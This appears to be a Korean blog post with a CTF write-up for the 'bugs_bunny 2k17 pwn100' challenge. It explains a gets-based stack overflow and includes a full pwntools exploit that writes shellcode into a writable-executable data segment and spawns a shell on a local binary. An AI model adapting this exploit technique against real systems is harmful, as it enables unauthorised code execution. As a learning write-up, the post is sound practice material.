본문으로 바로가기

[bugs_bunny 2k17] pwn100

category CTF 2019. 7. 16. 07:16

 

메모리 보호기법이 아무 것도 걸려있지 않다. 여러 가지 시나리오를 생각해 볼 수 있다.

 

docopy를 실행하고 내부에서는 gets를 호출한다.

따로 shell을 주는 코드가 없으므로 shellcode를 작성해서 고정 영역인 data segment에 쓴 뒤 실행해준다.

 

0x0804A000에서 0x0804B000에 wx권한이 있으므로 적당한 곳에 써준 뒤 점프하면 된다.

 

from pwn import *
import sys

if len(sys.argv) == 1 :
	p = process('./pwn100')
else :
	print 'Remote server is disabled'
	exit()

gets_plt = 0x080482F0
data_seg = 0x0804A100
shellcode = asm(shellcraft.i386.linux.sh())

payload = 'A'*28
payload += p32(gets_plt)
payload += p32(data_seg)*2

p.sendline(payload)
p.sendline(shellcode)

p.interactive()

'CTF' 카테고리의 다른 글

[bugs_bunny 2k17] pwn50  (0) 2019.07.16